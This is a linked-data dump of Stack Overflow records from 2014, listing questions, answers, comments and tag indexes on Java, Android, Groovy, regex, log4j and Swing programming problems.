has body: I keep getting this error when I attempt to run compiled Groovy code in IntelliJ IDEA 13: /Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/bin/java -Didea.launcher.port=7539 "-Didea.launcher.bin.path=/Applications/IntelliJ IDEA 13.app/bin" -Dfile.encoding=UTF-8 -classpath "/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/javafx-doclet.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/lib/tools.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/htmlconverter.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_51.jdk/Conten…
type: AnsweredQuestion
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33816266
type: Question
tagged with: runtime-error
tagged with: groovy
has answer: http://stackoverflow.com/a/22277213
accepted answer: http://stackoverflow.com/a/22277213
upvote count: 1
tagged with: intellij-idea
answer count: 1
has comment: http://stackoverflow.com/comment/33816339
favorite count: 0
has comment: http://stackoverflow.com/comment/33816791
has title: Runtime error upon running compiled Groovy code in IntelliJ IDEA 13

http://stackoverflow.com/q/22258607
tagged with: banner
upvote count: 1
has body: I've got a problem with making my banner work in my application. I've done a lot of search inside SO but couldn't find anything that helps me. The application is a video game that uses Canvas to draw the graphics. There is a while loop that calls draw() and updateStateOfTheGame() in a thread that runs continuously. To draw the banner I use the WindowManager. Here is the code of the activity where banner is displayed : public class MainActivity extends Activity { private AdView adView; private HomeMainGamePanel hMGP; // This class extends surfaceview and implements callback and does the drawing of canvas, bitmaps and other stuff in the game. private static final String AD_UNIT_ID = "xxxxxxx"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); Display display = ((WindowManager) getSystemService(WINDOW_SERVICE)).getDefaultDisplay(); // making it full screen getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); hMGP=new HomeMainGamePanel(this, display,this); // Create an ad. adView = new AdView(this); adView.setAdSize(AdSize.BANNER); adView.setAdUnitId(AD_UNIT_ID); // window manager preparation WindowManager.LayoutParams windowParams = new WindowManager.LayoutParams(); windowParams.gravity = Gravity.BOTTOM; windowParams.x = 0; windowParams.y = 0; windowParams.height = WindowManager.LayoutParams.WRAP_CONTENT; windowParams.width = WindowManager.LayoutParams.FILL_PARENT; windowParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS; windowParams.format = PixelFormat.TRANSLUCENT; windowParams.windowAnimations = 0; WindowManager wm = getWindowManager(); // Create an ad request. Check logcat output for the hashed device ID to // get test ads on a physical device. AdRequest …
favorite count: 0
tagged with: android
downvote count: 0
answer count: 0
has title: Banner doesn't work properly in multithread Android app
type: UnansweredQuestion
tagged with: multithreading
has comment: http://stackoverflow.com/comment/33849020
type: Question
score: 1
tagged with: java
tagged with: admob

http://stackoverflow.com/comment/33652008
score: 0
type: Comment
has text: I'm not sure if I follow you. Would the variable someMax in this instance be the amount of bits, i.e. if someMax was 7 it would create random bits from 11111111 to 00000000?
comment on: http://stackoverflow.com/a/22171176
type: AnswerComment

http://stackoverflow.com/a/22318089
has comment: http://stackoverflow.com/comment/33920660
score: 5
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33919952
has comment: http://stackoverflow.com/comment/33920048
type: Answer
has body: What you're looking for is: ^(?=.*\P{ASCII}).{6,}$ So let's explain it: ^ # Begin of string (?= # Take a look and make sure if there is .* # Anything zero or more times (greedy) \P{ASCII} # A non-ascii character ) # End of lookahead .{6,} # Match any character 6 or more times $ # End of string Let's analyse why your pattern fails (?=\P{ASCII})(?=^.{6,}$): (?=\P{ASCII}) you're first telling the regex engine to check if there is a non-ascii character. (?=^.{6,}$) then you're telling the regex engine to check if it's the beginning of string with ^ in the lookahead, and then checking if there is 6 or more characters. Now look at your input, you've got 1巻34567. And you're telling the regex engine if the first character is non-ascii, which is false since the first character is 1. Try 巻345671 as input and it should output true. Note that . doesn't match newline. So you might want to set the s modifier by using (?s): (?s)^(?=.*\P{ASCII}).{6,}$.
answers question: http://stackoverflow.com/q/22317475
has comment: http://stackoverflow.com/comment/33920389
upvote count: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22317475
has comment: http://stackoverflow.com/comment/33920068

http://stackoverflow.com/a/22305830
score: 3
upvote count: 3
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22305686
has body: Wouldn't it be easier just to require that a JDK be installed and $JAVA_HOME be set? It seems rather dangerous to package tools.jar with your app. It would then be the user's responsibility to get $JAVA_HOME on the $PATH however they choose to do it.

jaxb
tags question: http://stackoverflow.com/q/22181488
tags question: http://stackoverflow.com/q/22199458
tags question: http://stackoverflow.com/q/22196082
tags question: http://stackoverflow.com/q/22210510
tags question: http://stackoverflow.com/q/22257329
tags question: http://stackoverflow.com/q/22300497
tags question: http://stackoverflow.com/q/22208342
tags question: http://stackoverflow.com/q/22284324
tags question: http://stackoverflow.com/q/22226116
tags question: http://stackoverflow.com/q/22169681
type: Tag
tags question: http://stackoverflow.com/q/22234687
tags question: http://stackoverflow.com/q/22232657
tag name: jaxb
tags question: http://stackoverflow.com/q/22248264
tags question: http://stackoverflow.com/q/22237733
tags question: http://stackoverflow.com/q/22191021
tags question: http://stackoverflow.com/q/22314669
tags question: http://stackoverflow.com/q/22205877
tags question: http://stackoverflow.com/q/22259550
tags question: http://stackoverflow.com/q/22295616
tags question: http://stackoverflow.com/q/22226048
tags question: http://stackoverflow.com/q/22212660

http://stackoverflow.com/comment/33836754
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22274722
has text: I tried to set (700, 400) still have boarders and the image is not fully displayed
score: 0

http://stackoverflow.com/comment/33700654
score: 0
has text: Here you only want to use FileReader, which becomes a big constrain.
type: Comment
comment on: http://stackoverflow.com/a/22199491
type: AnswerComment

http://stackoverflow.com/comment/33768551
type: Comment
comment on: http://stackoverflow.com/a/22236998
score: 2
has text: An AtomicIntegerArray also has a fixed length. In fact, I wonder what an AtomicIntegerArray can do that an array of AtomicInteger can't. (except disallowing the replacement of any element in the array)
type: AnswerComment

http://stackoverflow.com/a/22185268
has comment: http://stackoverflow.com/comment/33675770
answers question: http://stackoverflow.com/q/22181552
upvote count: 2
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33675864
has body: The context of this is that you are trying to implement your scheme using thread interrupts. In order for that to happen, the t1 object needs the reference to the t2 thread object, and then it simply calls t2.interrupt(). There are a variety of ways that t1 could get the reference to t2. It could be passed as a constructor parameter. (You would need to instantiate Thread2 before Thread1 ...) It could be set by calling a setter on Thread1. It could be retrieved from a static variable or array, or a singleton "registry" object of some kind. It could be found by enumerating all of the threads in the ThreadGroup looking for one that matches t2's name.

http://stackoverflow.com/a/22281328
answers question: http://stackoverflow.com/q/22281271
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/22281271
upvote count: 3
has body: Simply use NumberPicker#setDisplayedValues(), the setMinValue and setMaxValue correspond to the array indexing: NumberPicker np = (NumberPicker) findViewById(R.id.picker); np.setMinValue(0); np.setMaxValue(8); np.setDisplayedValues(new String[] { "A+", "A", "B+", "B", "C+", "C", "D+", "D", "F"});

http://stackoverflow.com/comment/33879284
comment on: http://stackoverflow.com/a/22297942
type: AnswerComment
has text: is there a direct way of extracting this from the body? if not, why put them into the same form as the one appended to url?
score: 0
type: Comment

http://stackoverflow.com/comment/67874146
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/30649799
has text: @user1648825 best answer. After installing using "java -jar" just need to perform a maven clean and the magic happens (I´m using jdk8 and STS 3.6.4 and 3.8.2 on windows 7)
score: 0

http://stackoverflow.com/comment/33772903
type: Comment
type: AnswerComment
has text: VisualVM shows that each instance of the above class AcLinkedList<E> occupies 32 bytes (16 for the header and 16 for the 2 reference attributes). I did not use -Xmx to assign more 32G memory to the program.
score: 0
comment on: http://stackoverflow.com/a/22221106

tcpclient
tags question: http://stackoverflow.com/q/22265690
tag name: tcpclient
type: Tag

http://stackoverflow.com/q/22313303
type: AnsweredQuestion
type: Question
has title: How to make new project wizard visible in File ->New->Example... in eclipse?
tagged with: java
tagged with: eclipse
has body: I made a new wizard plug-in for eclipse. I can run this wizard by either File-&gt;New-&gt;Project or File-&gt;New-&gt;Other. However, I want to make it available via File-&gt;New-&gt;Example... as well. How can I do that?
score: 0
has answer: http://stackoverflow.com/a/22320237
accepted answer: http://stackoverflow.com/a/22320237
answer count: 1
tagged with: eclipse-plugin

http://stackoverflow.com/q/22320951
has comment: http://stackoverflow.com/comment/34012185
score: 1
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33919335
has comment: http://stackoverflow.com/comment/83408943
has title: Getting error No Tests found with test runner Junit in cucumber+JVM using selenium
downvote count: 0
favorite count: 0
tagged with: cucumber-jvm
tagged with: cucumber-junit
answer count: 0
type: UnansweredQuestion
has body: I was trying to run Cucumber scenarios using cucumber JVM but I was getting "No tests found with Junit 4" I am not using maven at the moment. I have written following step definition package stepd; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import pageobject.PageObject; import cucumber.api.java.After; import cucumber.api.java.Before; import cucumber.api.java.en.Given; import cucumber.api.java.en.Then; import cucumber.api.java.en.When; public class StepDefinition { private PageObject po; private WebDriver driver; public StepDefinition(WebDriver driver) { this.driver=driver; po=new PageObject(driver); } @Given("^I navigate to the mock application$") public void given_I_navigate_to_the_mock_application() { driver.get("http://demo.crowdperks.com/crowdperks"); } @When("^I click login link$") public void when_I_click_login_link() { driver.findElement(By.id("signup")).click(); } @Then("^I should see Login page$") public void then_I_login() { driver.findElement(By.id("username")).sendKeys("cplive"); driver.findElement(By.id("password")).sendKeys("cplive"); } } Also when running from test runner file i.e. GenericTest I am not getting run as junit option in the context menu Please provide help
upvote count: 1
tagged with: selenium-webdriver

http://stackoverflow.com/comment/33867126
has text: Then, ask that question :)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22291353

http://stackoverflow.com/comment/33878867
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22298196
has text: There will not be much difference in efficiency with the code you have posted
score: 0

http://stackoverflow.com/comment/33743303
score: 1
type: Comment
type: QuestionComment
has text: Do you get any exceptions? if you execute the output native query from cli or db tool does it execute? Try using `desc` for the first attribute and see how it behaves? what kind of output will you get? Trying to figure out if it is an output thing of the provider or it actually tries to execute this query. Which `jpa provider` are you using? in which application server?
comment on: http://stackoverflow.com/q/22223383

http://stackoverflow.com/comment/33741077
type: Comment
has text: `findPagingList(int pageSize)` put a limit of `pageSize + 1` on the query (I found it out because I also tried to use rawSql to build the initial query and there I was not allowed to put a limit statement explicitly).
type: AnswerComment
comment on: http://stackoverflow.com/a/22222222
score: 0

http://stackoverflow.com/comment/33823659
has text: Try out the new code. Also look at how to use [embedded-resources](http://stackoverflow.com/a/9866659/2587435)
comment on: http://stackoverflow.com/a/22266965
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33914059
has text: it doesn't corrupt the data. The reason why the image was corrupted was because I read the next 1024 bytes but didn't write it so the stream was missing 1024 bytes thus making the image corrupted.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22245106

http://stackoverflow.com/q/22265634
score: 1
tagged with: java-native-interface
tagged with: java
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/33831194
tagged with: android-ndk
type: Question
has body: I'm using these functions to measure how many milliseconds it takes to execute a function: struct timespec diff_timespec(struct timespec start, struct timespec end) { struct timespec result; if (end.tv_nsec &lt; start.tv_nsec) { result.tv_nsec = 1000000000 + end.tv_nsec - start.tv_nsec; result.tv_sec = end.tv_sec - 1 - start.tv_sec; } else { result.tv_nsec = end.tv_nsec - start.tv_nsec; result.tv_sec = end.tv_sec - start.tv_sec; } return result; } long long nanosec_elapsed(struct timespec diff) { return ((long long)diff.tv_sec * 1000000000) + (diff.tv_nsec ); } I have a function A which calls another function B. The function, A, is exposed via JNI to Java, so that it can be called from Java. The OS is Android 4.2 and the language is obviously C. void functionA(void) { struct timespec t1; struct timespec t2; struct timespec diff; long long dt; double delta; clock_gettime(CLOCK_MONOTONIC, &amp;t1); functionB(); clock_gettime(CLOCK_MONOTONIC, &amp;t2); diff = diff_timespec(t1,t2); dt = nanosec_elapsed(diff); delta = ((double) dt) / ((double) 1000000.0); } void functionB(void) { struct timespec t1; struct timespec t2; struct timespec diff; long long dt; double delta1; double delta2; double delta3; clock_gettime(CLOCK_MONOTONIC, &amp;t1); /* 1. Here I do some stuff */ clock_gettime(CLOCK_MONOTONIC, &amp;t2); diff = diff_timespec(t1,t2); dt = nanosec_elapsed(diff); delta1 = ((double) dt) / ((double) 1000000.0); clock_gettime(CLOCK_MONOTONIC, &amp;t1); /* 2. Here I do some more stuff */ clock_gettime(CLOCK_MONOTONIC, &amp;t2); diff = diff_timespec(t1,t2); dt = nanosec_elapsed(diff); delta2 = ((double) dt) / ((double) 1000000.0); clock_gettime(CLOCK_MONOTONIC, &amp;t1); /* 3. Here I do the last stuff */ clock_gettime(CLOCK_MONOTONIC, &amp;t2); diff = diff_timespec(t1,t2); dt = nanosec_elapsed(diff); delta3 = ((double) dt) / ((double) 1000000.0); } The problem I'm having is that - sometimes - there's a large discrepancy between (delta1+delta2+delta3) and delta. In other word…
upvote count: 1
has comment: http://stackoverflow.com/comment/33829856
has comment: http://stackoverflow.com/comment/33820614
favorite count: 0
has comment: http://stackoverflow.com/comment/33827802
tagged with: android
answer count: 0
type: UnansweredQuestion
has title: Android 4.2 and clock_gettime
downvote count: 0

javascript
tags question: http://stackoverflow.com/q/22267013
tags question: http://stackoverflow.com/q/22214882
tags question: http://stackoverflow.com/q/22208998
tags question: http://stackoverflow.com/q/22227642
tags question: http://stackoverflow.com/q/22208766
tags question: http://stackoverflow.com/q/22326437
tags question: http://stackoverflow.com/q/22199066
tags question: http://stackoverflow.com/q/22227213
tags question: http://stackoverflow.com/q/22194346
tags question: http://stackoverflow.com/q/22173659
tags question: http://stackoverflow.com/q/22187013
tags question: http://stackoverflow.com/q/22311369
tags question: http://stackoverflow.com/q/22195778
tags question: http://stackoverflow.com/q/22318558
tags question: http://stackoverflow.com/q/22315462
tags question: http://stackoverflow.com/q/22202535
tags question: http://stackoverflow.com/q/22194478
tag name: javascript
tags question: http://stackoverflow.com/q/22272719
tags question: http://stackoverflow.com/q/22229250
tags question: http://stackoverflow.com/q/22188908
tags question: http://stackoverflow.com/q/22314435
tags question: http://stackoverflow.com/q/22209943
tags question: http://stackoverflow.com/q/22317380
tags question: http://stackoverflow.com/q/22284249
tags question: http://stackoverflow.com/q/22236665
tags question: http://stackoverflow.com/q/22196172
tags question: http://stackoverflow.com/q/22180534
tags question: http://stackoverflow.com/q/22211245
tags question: http://stackoverflow.com/q/22319877
type: Tag
tags question: http://stackoverflow.com/q/22180413
tags question: http://stackoverflow.com/q/22175946
tags question: http://stackoverflow.com/q/22193992
tags question: http://stackoverflow.com/q/22294787
tags question: http://stackoverflow.com/q/22183104
tags question: http://stackoverflow.com/q/22291998
tags question: http://stackoverflow.com/q/22227831
tags question: http://stackoverflow.com/q/22169751
tags question: http://stackoverflow.com/q/22245398
tags question: http://stackoverflow.com/q/22248777
tags question: http://stackoverflow.com/q/22222171
tags question: http://stackoverflow.com/q/22208554
tags question: http://stackoverflow.com/q/22282184
tags question: http://stackoverflow.com/q/22307256
tags question: http://stackoverflow.com/q/22228874
tags question: http://stackoverflow.com/q/22218350
tags question: http://stackoverflow.com/q/22216560
tags question: http://stackoverflow.com/q/22213761
tags question: http://stackoverflow.com/q/22267129
tags question: http://stackoverflow.com/q/22247016
tags question: http://stackoverflow.com/q/22222265
tags question: http://stackoverflow.com/q/22285351
tags question: http://stackoverflow.com/q/22261964
tags question: http://stackoverflow.com/q/22319199
tags question: http://stackoverflow.com/q/22172588
tags question: http://stackoverflow.com/q/22200553
tags question: http://stackoverflow.com/q/22224967
tags question: http://stackoverflow.com/q/22201673
tags question: http://stackoverflow.com/q/22225580
tags question: http://stackoverflow.com/q/22255508
tags question: http://stackoverflow.com/q/22205562
tags question: http://stackoverflow.com/q/22190151
tags question: http://stackoverflow.com/q/22326043

http://stackoverflow.com/a/22321227
answers question: http://stackoverflow.com/q/22320154
type: Answer
has body: if you want to get data then you should this instead. Date startDate; //use SqlDate instead of string. String sql = "SELECT *, (Day_hours + (Day_minutes / 60)) AS Allday_hours FROM Workdata WHERE Date = ?"; PreparedStatement pst = connection.prepareStatement(sql); pst.setDate(1,startDate); Now you have something in your output as you have date column in your table. UPDATE : If you want to use String datatype for date parameter.. Remove Date startDate and keep it what you have.. After that Parse your date using SimpleDateFormatter. For EG. String startDate = req.getParameter("Date"); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); //surround below line with try catch block as below code throws checked exception Date start = sdf.parse(startDate); out.println(sdf.format(startDate)); //this is what you want yyyy-MM-dd Thanks..
has comment: http://stackoverflow.com/comment/33922068
upvote count: 1
score: 1
downvote count: 0

jaxp
type: Tag
tag name: jaxp
tags question: http://stackoverflow.com/q/22292791

http://stackoverflow.com/comment/33888808
type: Comment
comment on: http://stackoverflow.com/q/22302439
has text: But you can upload templates and load templates from the datastore.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33880415
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22298744
has text: @Diode It says there is a class org.endovantage.models.Annotation which doesn't have any mapping. Is that a duplicate of class org.e.models.Annotation1?
score: 0

http://stackoverflow.com/a/22290784
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33910785
type: Answer
has body: This is relatively easy, using a log4j.properties configuration file (place it at the top of your classpath, and Log4j will 'just find it'): # This is the default logger, simply logs to console log4j.logger.com.foo.bar=DEBUG,A1 log4j.appender.A1=org.apache.log4j.ConsoleAppender log4j.appender.A1.layout=org.apache.log4j.PatternLayout # Note the Pattern here, emits a lot of stuff - btw, don't use this in production # %C is expensive - see the Javadoc for ConversionPattern for the meaning of all # the % modifiers: log4j.appender.A1.layout.ConversionPattern=%d{MMM dd, HH:mm:ss} [%C{2}] %-5p - %m%n # Logging to file can be enabled by using this one log4j.logger.com.example=DEBUG, R log4j.appender.R=org.apache.log4j.RollingFileAppender log4j.appender.R.File=/var/log/generic.log log4j.appender.R.MaxFileSize=100KB # Keep one backup file log4j.appender.R.MaxBackupIndex=1 # This is the most minimalist layout you can have: just the 'm'essage is emitted # (and a \n newline): log4j.appender.R.layout=org.apache.log4j.PatternLayout log4j.appender.R.layout.ConversionPattern=%m%n All the classes in the com.foo.bar package (and subpackages) will log to console, those in com.example (and below) will log to /var/log/generic.log. To emit JSON, just use Jackson (com.fasterxml) convert your data to a JSON object and write it out as a string.
upvote count: 1
has comment: http://stackoverflow.com/comment/33866181
accepted answer of: http://stackoverflow.com/q/22290497
answers question: http://stackoverflow.com/q/22290497
type: AcceptedAnswer

http://stackoverflow.com/a/22269342
answers question: http://stackoverflow.com/q/22269230
has body: First of all please create id's for all elements. It would be usefull to debug this kind of problem :) &lt;h:commandButton value="Dodaj rekomendacje" id="addRecomendation" styleClass="btn"&gt; &lt;f:ajax event="click" render="rederPanel" listener="#{customerWrapper.addRecomendationToClient()}" /&gt; &lt;/h:commandButton&gt;
has comment: http://stackoverflow.com/comment/33850104
has comment: http://stackoverflow.com/comment/33846954
type: Answer
has comment: http://stackoverflow.com/comment/33851061
has comment: http://stackoverflow.com/comment/33847138
score: 0

http://stackoverflow.com/comment/33905627
score: 0
type: Comment
type: QuestionComment
has text: The assignment `connRemote = DriverManager.getConnection("//my urls here");`, is still going to be there. I was only talking about the declaration, which should be `Connection connRemote = null;`.
comment on: http://stackoverflow.com/q/22312845

http://stackoverflow.com/q/22297114
has comment: http://stackoverflow.com/comment/33877464
answer count: 1
favorite count: 0
has title: Precedence of properties: system vs. deployment descriptor vs. properties file
has body: If I have system property which I pass my container (e.g. Tomcat) like the following: -Dmy.property=myValueOne and a property with the same key defined in my web.xml: my.property myValueTwo ... and a property with the same key defined in one of my config*.properties files: my.property=myValueThree Which value will this property have? myValueOne, myValueTwo or myValueThree? If you have several properties with the same key, is there a hierarchy which defines which kind of property overwrites which other kind of property?
upvote count: 4
tagged with: spring
has comment: http://stackoverflow.com/comment/33877871
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/22301408
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22301408
tagged with: configuration
score: 4

http://stackoverflow.com/comment/33802997
has text: Your link is the same my code. I tried it and result is the same. is there another way for convert string ?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22255809
type: QuestionComment

http://stackoverflow.com/q/22325717
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/22325924
has answer: http://stackoverflow.com/a/22325976
downvote count: 0
has title: Changing the word "one" to the number "1" and so on
tagged with: java
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33927806
has comment: http://stackoverflow.com/comment/33927527
has comment: http://stackoverflow.com/comment/33927339
answer count: 3
accepted answer: http://stackoverflow.com/a/22326171
has body: I am NOT asking you guys to do my work for before you get the idea, its just i was handed this assignment Complete the function int comp(String s1, String s2). For this function, s1 and s2 are one of the following "one","two","three","four". For example, s1 might be two and s2 might be four. Clearly s1 and s2 correspond to numbers. The function comp should return a negative number if s1 (as a number) is less than s2 (as a number), zero if they are equal (as numbers), and a positive number otherwise. For example, comp("two","four") should return a negative number because 2 is less than 4. BUT I have no idea how I would assign s1 with 1 if it's already been assigned "one". Any tips? Best Regards.
has comment: http://stackoverflow.com/comment/33927640
favorite count: 0
has comment: http://stackoverflow.com/comment/33927360
has answer: http://stackoverflow.com/a/22325924
has answer: http://stackoverflow.com/a/22326171
has comment: http://stackoverflow.com/comment/33929006

http://stackoverflow.com/a/22201980
has body: It seems like you told IntelliJ to call the main method of class com.company.Main. But IntelliJ cannot find such a class. IntelliJ searches for a file Main.class in a folder com/company Probably you want to tell IntelliJ to run the main method of "HelloWorld" instead of "com.company.Main"...
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/113786384
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/22201803
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22201803

http://stackoverflow.com/a/22172509
answers question: http://stackoverflow.com/q/22170731
has comment: http://stackoverflow.com/comment/33652515
has body: If you want to place a map inside of a fragment then I suggest you to use the MapView object in your layout instead of the SupportMapFragment, here is a code that works for me: The layout: &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;com.google.android.gms.maps.MapView xmlns:map="http://schemas.android.com/apk/res-auto" android:id="@+id/mapview" android:layout_width="match_parent" android:layout_height="match_parent" /&gt; &lt;/LinearLayout&gt; And the fragment itself: public class MapFragment extends Fragment { private static final String TAG = MapFragment.class.getSimpleName(); private MapView mapView; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.new_mapview, container, false); // Gets the MapView from the XML layout and creates it mapView = (MapView) view.findViewById(R.id.mapview); mapView.onCreate(savedInstanceState); return view; } @Override public void onPause() { mapView.onPause(); super.onPause(); } @Override public void onResume() { mapView.onResume(); super.onResume(); } @Override public void onDestroy() { super.onDestroy(); mapView.onDestroy(); } @Override public void onLowMemory() { super.onLowMemory(); mapView.onLowMemory(); } } UPDATE: Well it states that: A required meta-data tag in your app's AndroidManifest.xml does not exist. You must have the following declaration within the &lt;application&gt; element: &lt;meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version" /&gt; Are you sure you have it in the manifest file as you have posted in your question?
accepted answer of: http://stackoverflow.com/q/22170731
has comment: http://stackoverflow.com/comment/33653608
score: 1
has comment: http://stackoverflow.com/comment/33653007
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer

hive
tags question: http://stackoverflow.com/q/22216694
type: Tag
tags question: http://stackoverflow.com/q/22265227
tag name: hive
tags question: http://stackoverflow.com/q/22248808

http://stackoverflow.com/comment/33801540
type: QuestionComment
score: 2
has text: Your "while" test is not tested EVERYTIME, it's tested when your arrived at the end of the current loop, so all the "for" loop will be done before testing the "duplicateFound value".
comment on: http://stackoverflow.com/q/22255401
type: Comment

http://stackoverflow.com/comment/33759758
type: Comment
score: 0
has text: Exactly, you shouldn't increment like this. In your case you can probably check for the size of your arraylist and make sure that begin counter never goes beyond that size after an increment.
type: AnswerComment
comment on: http://stackoverflow.com/a/22206779

http://stackoverflow.com/comment/33666405
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22180329
has text: Autowire what? Your context hasn't found any beans of type `IUtil`.
score: 0

http://stackoverflow.com/q/22240129
has title: Parabolas within bounds
has body: I have a JPanel 200x200. I trying to create a function that will generate random parabola's with the bounds of the JPanel, with a constraint that the height can't be lower than a 100 (middle of the screen), I basically want to move a shape around these parabolas Here is some code I'm using to get started: Random random = new Random(); int y; int x; int size = random.nextInt(10); int translation = random.nextInt(50); int height = random.nextInt(100) - 200; //between 100 and 200 //Parabola functions : y = ((x/7 - 30))^2 // x and y are coordiates of where the shape is drawn while(y != 200){ y = (float)Math.pow((float)xloc / size - translation ,2) + height; x++; } I've been researching about FlatteningPathIterator but not too sure how to use them. my function y = (float)Math.pow((float)xloc / size - translation ,2) + height;` prints parabola's sometimes outside the bounds, how would i edit it to print parabola's inside the bounds?
has comment: http://stackoverflow.com/comment/33774509
linked to: http://stackoverflow.com/q/7940173
has answer: http://stackoverflow.com/a/22241004
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/20097308
favorite count: 0
tagged with: java-2d
accepted answer: http://stackoverflow.com/a/22241004
upvote count: 1
tagged with: swing
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33775024
score: 1
tagged with: java
type: Question

http://stackoverflow.com/comment/33909196
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22314823
score: 0
has text: position.x = squareList.get(i).getPosition().x; position.y = squareList.get(i).getPosition().y; You should divide that value for slowing down the player.

http://stackoverflow.com/comment/33754387
has text: Provide a [Comparator](http://docs.oracle.com/javase/7/docs/api/java/util/Comparator.html) to the [TreeSet constructor](http://docs.oracle.com/javase/7/docs/api/java/util/TreeSet.html#TreeSet%28java.util.Comparator%29).
score: 0
comment on: http://stackoverflow.com/q/22229762
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22274343
has comment: http://stackoverflow.com/comment/33838060
has body: Works for me... import java.awt.Color; import java.lang.reflect.InvocationTargetException; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.SwingUtilities; import javax.swing.WindowConstants; public class HsbBackground { public static void main(String[] args) throws Exception { new HsbBackground(); } private JPanel jPanel1 = new JPanel(); public HsbBackground() throws InvocationTargetException, InterruptedException { SwingUtilities.invokeAndWait(new Runnable() { @Override public void run() { JFrame jFrame = new JFrame(); jFrame.setContentPane(jPanel1); jFrame.setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE); jFrame.setSize(400, 300); jFrame.setVisible(true); } }); animate(); } public void animate() { for (float i = .001f; i &lt; 1f; i += .001f) { final float j = i; SwingUtilities.invokeLater(new Runnable() { @Override public void run() { jPanel1.setBackground(Color.getHSBColor(j, .53f, .97f)); } }); try { Thread.sleep(5L); } catch (InterruptedException ex) { } System.out.println(i); } } } Make sure, that you call setVisible of your frame before you start your loop. PS: I updated the code, so that GUI changes are all made from the event dispatching thread. The code still works fine.
answers question: http://stackoverflow.com/q/22274259
